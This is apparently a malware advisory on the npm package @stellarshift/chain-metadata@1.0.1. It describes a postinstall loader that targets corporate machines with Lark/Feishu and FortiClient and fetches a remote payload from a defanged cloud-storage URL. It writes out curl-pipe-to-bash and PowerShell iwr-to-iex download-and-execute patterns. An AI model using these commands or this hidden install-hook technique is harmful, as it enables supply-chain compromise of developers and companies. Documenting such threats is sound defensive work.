@stellarshift/chain-metadata@1.0.1

Analysis

The package's postinstall hook (scripts/postinstall.js) is a remote code download-and-execute loader. It first checks the host environment and only proceeds on macOS or Windows systems that have both the Lark/Feishu messaging app and FortiClient VPN installed (a corporate-targeting filter); on any other environment it silently exits. When the target environment matches, it fetches a stage-1 payload from hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon and executes it via `curl -fsSL <url> | bash` on macOS or `powershell iwr -Uri <url> | iex` on Windows, running in the background with output suppressed. The fetched payload is a beacon/stage-1 script that downloads and runs further code.